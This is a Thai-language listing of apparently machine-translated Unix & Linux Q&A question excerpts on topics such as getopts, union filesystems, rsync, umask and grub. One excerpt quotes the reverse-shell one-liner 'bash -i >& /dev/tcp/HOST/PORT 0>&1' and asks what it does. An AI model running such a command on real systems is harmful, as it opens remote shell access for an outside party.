Unix & Linux

คำถาม & คำตอบสำหรับผู้ใช้ Linux, FreeBSD และระบบปฏิบัติการ Un * x อื่น ๆ

3
Bash เกิดข้อผิดพลาดบรรทัดที่ 8: $ 1: ตัวแปรที่ไม่ถูกผูก
ฉันพยายามที่จะเรียนรู้วิธีใช้ getopts เพื่อที่ฉันจะได้สคริปต์ที่มีการวิเคราะห์คำ (แม้ว่าฉันคิดว่า getopts น่าจะดีกว่า) ฉันพยายามเขียนสคริปต์ง่าย ๆ เพื่อคืนค่าเปอร์เซ็นต์การใช้งานพาร์ติชัน ปัญหาคือว่าหนึ่งในฟังก์ชั่นทุบตีของฉันดูเหมือนจะไม่ชอบที่ฉันอ้างอิง$1เป็นตัวแปรภายในฟังก์ชั่น เหตุผลที่ฉันอ้างอิง$1เป็นเพราะget_percentฟังก์ชั่นสามารถส่งผ่านจุดเมานท์เป็นอาร์กิวเมนต์เพิ่มเติมเพื่อแสดงแทนจุดเมานท์ทั้งหมด สคริปต์ #!/usr/bin/bash set -e set -u set -o pipefail get_percent(){ if [ -n "$1" ] then df -h $1 | tail -n +2 | awk '{ print $1,"\t",$5 }' else df -h | tail -n +2 | awk '{ …

2
Unionfs vs Aufs กับ Overlayfs vs mhddfs ฉันต้องใช้อันไหน
ฉันสุ่มอ่านเกี่ยวกับระบบไฟล์รวมซึ่งทำให้ผู้ใช้สามารถเมานต์ระบบไฟล์หลาย ๆ ไฟล์ได้พร้อมกัน อย่างไรก็ตามฉันกำลังพบปัญหาในการตัดสินใจเลือกใช้อันใดอันหนึ่ง (Unionfs vs Aufs กับ Overlayfs vs mhddfs) และทำไมฉันไม่พบข้อมูลที่เป็นรูปธรรมในเรื่องใดก็ได้ ฉันรู้ว่าอินสแตนซ์ overlayFS นั้นได้ถูกนำมาใช้ในเคอร์เนลหลักซึ่งหมายความว่ามันจะได้รับการยอมรับที่กว้างขึ้น จะขอบคุณถ้ามีคนจะให้มุมมองบางอย่างกับฉัน นอกจากนี้ฉันไม่สามารถหากรณีการใช้งานที่มีประโยชน์สำหรับระบบไฟล์ Union บนบางอย่างเช่น LVM (ตามที่ผู้ใช้แนะนำในคำถามแยกต่างหาก ) หรือการตั้งค่า RAID ยกเว้นในความจริงที่ว่า LVM ต้องการฟอร์แมตไดรฟ์ทั้งหมดซึ่งอาจไม่เป็นที่ต้องการ มีข้อมูลที่มีค่าในไดรฟ์

1
rsync สามารถอัปเดตไฟล์ขนาดใหญ่ที่มีการเปลี่ยนแปลงเพียงบางส่วนเท่านั้นโดยไม่ต้องทำการส่งซ้ำอย่างสมบูรณ์หรือไม่
ฉันกำลังทำการเปลี่ยนแปลงเล็กน้อยในไฟล์รูปภาพขนาดใหญ่มาก (แตกต่างกันเพียงไม่กี่พิกเซล) ซึ่งใช้เวลานานในการถ่ายโอนผ่านเครือข่าย มีวิธีการ rsync ในการระบุความแตกต่างในไฟล์และส่งความแตกต่างเล็ก ๆ ผ่านเครือข่ายหรือไม่?
15 rsync  diff 

1
การจำลอง Numpad
แล็ปท็อปใหม่ของฉัน (Dell Inspiron 5578 ) มีไม่มีแผ่นที่เป็นตัวเลข แล็ปท็อปจำนวนมากที่ไม่มีคีย์เฉพาะของ Numpad สามารถเข้าถึงได้ผ่าน Numpad Fnแต่ไม่ใช่อันนี้ เมื่อฉันเรียกใช้xevและพยายามใช้Fnคอมโบแบบดั้งเดิม(เช่นFn+ Jสำหรับ1) จะไม่เห็นเหตุการณ์ใด ๆ และตัวเลขไม่ได้อยู่บนฉลาก AFAIU ฉันไม่สามารถสร้างทางลัดด้วยFnปุ่มเพราะFnไม่ได้ถูกส่งไปยังระบบปฏิบัติการ แต่ในทางทฤษฎีฉันสามารถใช้Alt_L+ Super_Lแทน คำถามคือทำอย่างไรให้ถูกต้อง ฉันต้องการที่จะทำในระดับต่ำกว่ารูปแบบแป้นพิมพ์เพื่อให้ทำงานได้ดีกับ VMs ทั้งหมดแม้จะไม่ใช่ Linux ก็ตาม สิ่งแวดล้อม: Qubes OS ส่วนโฮสต์ขึ้นอยู่กับ Fedora ฉันพยายามแล้ว: ผูกคำสั่ง xdotool ผ่านทางลัดคีย์ Xfce สิ่งนี้ก่อให้เกิดผลลัพธ์แปลก ๆ หลายอย่าง: คำสั่ง (คีย์ xdotool KP_1 และรูปแบบต่าง ๆ ) มักจะใช้งานได้ แต่ไม่ใช่เมื่อมีการเรียกใช้โดยทางลัด เมื่อเรียกใช้โดยทางลัดปัญหาอาจเป็นได้ว่ากดปุ่มตัวปรับเปลี่ยนในเวลานั้น ฉันได้ลองทำการดัดแปลงหลายอย่าง …

5
ตัดคอลัมน์ 2 จากไฟล์ข้อความ
ไฟล์ข้อความของฉันไม่มีตัวคั่นเพื่อระบุช่องว่างตัวคั่นฉันจะตัดคอลัมน์ 2 ไปยังไฟล์เอาต์พุตได้อย่างไร 39 207 City and County of San Francisc REJECTED MAT = 0 78 412 Cases and materials on corporat REJECTED MAT = 0 82 431 The preparation of contracts an REJECTED MAT = 0 เอาท์พุทที่ฉันต้องการคือ 207 412 432

3
ค้นหาว่าห้องสมุดอยู่ในเส้นทางหรือไม่
สมมติว่าฉันต้องการทดสอบว่ามีการติดตั้งไลบรารีและใช้งานได้โดยโปรแกรมหรือไม่ ฉันสามารถใช้ldconfig -p | grep mylibเพื่อดูว่ามีการติดตั้งในระบบหรือไม่ แต่ถ้าห้องสมุดเป็นที่รู้จักกันเพียงผ่านการตั้งค่าLD_LIBRARY_PATH? ในกรณีนั้นโปรแกรมอาจหาห้องสมุดได้ แต่ldconfigจะไม่ทำเช่นนั้น ฉันจะตรวจสอบว่าห้องสมุดอยู่ในเส้นทางลิงเกอร์รวมกันได้อย่างไร ฉันจะเพิ่มว่าฉันกำลังมองหาวิธีการแก้ปัญหาที่จะทำงานแม้ว่าฉันจะไม่ได้มีโปรแกรมที่อยู่ในมือ (เช่นโปรแกรมยังไม่ได้รวบรวม) ฉันแค่อยากจะรู้ว่ามีห้องสมุดอยู่ในld' เส้นทางของ

5
ฉันสามารถเชื่อมต่อแล็ปท็อป Ubuntu Linux กับแล็ปท็อป Windows 10 ผ่านสายเคเบิลอีเธอร์เน็ตได้หรือไม่
ฉันเคยเห็นผู้คนเชื่อมต่อคอมพิวเตอร์สองเครื่องด้วยสายเคเบิลอีเธอร์เน็ต แต่คำแนะนำที่ฉันเห็นสำหรับ Windows กับ Windows หรือ Mac กับ Mac หรือ Windows กับ Mac ฉันไม่เคยพบเจอปัญหาใด ๆ ในการเชื่อมต่อ Windows กับ Linux เป็นไปได้หรือไม่ที่จะเชื่อมต่อระบบ Windows เข้ากับระบบ Linux ผ่านสาย Ethernet?

10
วิธีรับชื่อเดเบียนที่ไม่มี lsb-release
ฉันกำลังพยายามสร้างสคริปต์ที่ต้องการให้ฉันพิมพ์ชื่อรหัสของเดเบียนเพื่อที่ฉันจะได้สะท้อนไปยังไฟล์ source.list ฉันพยายามทำให้สคริปต์นี้ทำงานกับ Debian ทุกรุ่นดังนั้นฉันหวังว่าจะตั้งค่าตัวแปร bash ของชื่อรหัสการเผยแพร่ นี่จะเป็นเรื่องง่ายที่จะทำ (ด้วย lsb_release -c) อย่างไรก็ตามอิมเมจการปรับใช้ของเราไม่ได้มี lsb_release ตามค่าเริ่มต้น - และสคริปต์นี้จำเป็นต้องแก้ไขแหล่งที่มาการติดตั้ง lsb-release ด้วย apt-get จะไม่เป็นตัวเลือก . ฉันพบวิธีมากมายในการรับหมายเลขรุ่นและข้อมูลอื่น ๆ เกี่ยวกับระบบ แต่ไม่สามารถหาสถานที่ที่เชื่อถือได้เพื่อรับชื่อรหัส ความคิดใด ๆ ที่จะได้รับการชื่นชมอย่างมาก! (ระบบปฏิบัติการฉันกำลังทดสอบนี้ด้วยคือ Debian Squeeze)
15 debian  version 

2
ใช้ git เพื่อจัดการ / etc?
ฉันกำลังคิดเกี่ยวกับระบบที่/etcถูกติดตามในที่เก็บ git ระยะไกล ฉันกำลังคิดเกี่ยวกับเวิร์กโฟลว์คอมไพล์ที่ทุกเครื่องโฮสต์ที่สาขาแตกต่างกัน ทุกรุ่นก่อนหน้าในทุกเครื่องสามารถติดตามเปรียบเทียบและผสานได้อย่างง่ายดาย หากการ/etcปรับเปลี่ยนต้องกระทำบนเครื่องหลายเครื่องสามารถทำได้ง่ายโดยสคริปต์การรวมบางอย่าง ในกรณีที่มีการ/etcเปลี่ยนแปลง"ไม่พึงประสงค์" สิ่งนี้สามารถมองเห็นได้ดี มีใครใช้การกำหนดค่าแบบนี้อยู่แล้ว? มีปัญหาด้านความปลอดภัยหรือไม่?

3
การตรวจสอบ rm ซ้ำสองครั้งใน zsh
เมื่อฉันทำ rm * เป็น zsh ฉันจะได้รับสิ่งนี้: 2014-06-08 10:14:23 $ rm * zsh: sure you want to delete all the files in /home/assay/assay/log [yn]? y rm: remove regular file `development.log'? y zsh แรกถามฉันว่าฉันแน่ใจว่าฉันต้องการลบทั้งหมดหรือไม่จากนั้น rm จะขอไฟล์เฉพาะแต่ละไฟล์ ฉันจะยืนยัน zsh ได้อย่างไร
15 zsh  rm 

1
ความหมายของ bash -i> & / dev / tcp / HOST / PORT 0> & 1?
ฉันเหนื่อย bash -i >& /dev/tcp/HOST/PORT 0>&1 แต่ดูเหมือนจะไม่ทำงานหลังไฟร์วอลล์ รหัสนี้จะทำอะไรจริง ๆ แล้วพอร์ตใดที่ถูกส่งต่อและสามารถทำงานได้หลังไฟร์วอลล์

5
เปิดไฟล์ข้อความในเทอร์มินัลและรีเฟรชอัตโนมัติเมื่อใดก็ตามที่มีการเปลี่ยนแปลง
ฉันจะเปิดไฟล์ข้อความในเทอร์มินัลด้วยการรีเฟรชอัตโนมัติทันทีทุกครั้งที่มีการเปลี่ยนแปลงได้อย่างไร ฉันได้มองที่vimมี:set autoreadแต่ต้องใช้การป้อนข้อมูลประถมบางอย่าง (เช่นภายในปุ่มกดvim) ที่จะเรียกการฟื้นฟู ฉันต้องการให้รีเฟรชอัตโนมัติเป็นแบบแฮนด์ฟรี มีแฮ็คที่จะทำเช่นนี้? ฉันใช้ Crunchbang 11 แต่ฉันรู้สึกสบายใจกับเครื่องเทอร์มินัล
15 terminal  text 

5
สอบสวนด้วง: ข้อผิดพลาด: ล้มเหลวในการรับเส้นทางที่ยอมรับจาก / วัว
ฉันพยายามติดตั้งด้วงใหม่จากไดรฟ์ USB ฉันเรียกใช้ต่อไปนี้: sudo mount /dev/sda6 /mnt sudo grub-install --root-directory=/mnt /dev/sda ฉันได้รับข้อผิดพลาดต่อไปนี้: grub-probe: error: failed to get canonical path of /cow. บางคนสามารถอธิบายข้อผิดพลาดได้และจะแก้ไขได้อย่างไร แก้ไข ฉันกำลังพยายามซ่อมแซมระบบดูอัลบูตที่ทำงานอยู่จาก USB ที่มีลินุกซ์มิ้นต์
15 grub2 

2
ฉันจะเปลี่ยน umask สำหรับคำสั่งเดียวเท่านั้นได้อย่างไร
ฉันจะรันคำสั่งแบบโต้ตอบใน Linux (zsh หากมีความสำคัญ) ด้วย umask ที่แตกต่างจากค่าเริ่มต้นสำหรับคำสั่งเดียวเท่านั้นได้อย่างไร บางทีการรวมคำสั่งเข้าด้วยกันในบรรทัดเดียว? umask ใหม่ควรใช้กับคำสั่งนั้นและกลับสู่ค่าเริ่มต้นสำหรับคำสั่งถัดไปที่ป้อน โดยหลักการแล้วคำสั่งจะไม่เชื่อในการบังคับ umask เริ่มต้นก่อนที่จะป้อน (กล่าวอีกนัยหนึ่ง umask เริ่มต้นไม่จำเป็นต้องระบุ)
15 zsh  umask 

2
Gnome หยุดจับกุญแจ emacs ของฉัน
ฉันใช้ Gnome ใน Ubuntu 11.04 ฉันทำงานเป็นจำนวนมากใน Emacs และฉันพบว่าตัวจัดการหน้าต่าง Gnome คว้ากุญแจ Emacs บางส่วน ในระดับหนึ่งฉันสามารถหยุดสิ่งนี้ได้โดยผ่านแต่ละระบบ -> การตั้งค่า -> ทางลัดแป้นพิมพ์และปิดการใช้งานปุ่มที่ละเมิด อย่างไรก็ตามมันจะดีถ้าทำแบบนี้ทุกครั้ง นอกจากนี้ปัญหาล่าสุดของฉันคือโหมด org, MS-up ควรเป็น org-shiftmetaup (org-move-subtree-up) แต่ตัวจัดการหน้าต่างกำลังจับคีย์ที่รวมกันแล้วทำให้หน้าต่างหด อย่างไรก็ตามฉันไม่พบสิ่งนั้นในรายการแป้นพิมพ์ลัด; ฉันไม่ได้ใช้มันและไม่รู้ว่าพวกเขาเรียกมันว่าอะไร (และดูเหมือนว่าคุณไม่สามารถค้นหา / แก้ไขทางลัดโดยใช้คีย์ผสมโดยใช้ชื่อเท่านั้น) ดังนั้นคำถามของฉันคือ: มีการเปลี่ยนแปลงการกำหนดค่า Gnome หนึ่งอย่างที่ฉันสามารถทำได้โดยปริยายว่าจะปิดการใช้งานแป้นพิมพ์ลัดทั้งหมดหรือไม่ มีวิธีการเปิดใช้งานบางส่วนอีกครั้งหรือไม่ (ฉันไม่ได้ใช้มันมากนัก แต่อาจต้องการคู่ที่ไม่ขัดแย้งกับ Emacs) มีวิธีปิดการใช้งานทางลัดที่ขัดแย้งกับ Emacs หรือไม่โดยการย้าย Meta ไปที่ Super key สำหรับ Gnome เท่านั้นและไม่ใช่ emacs หรือไม่ …

โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.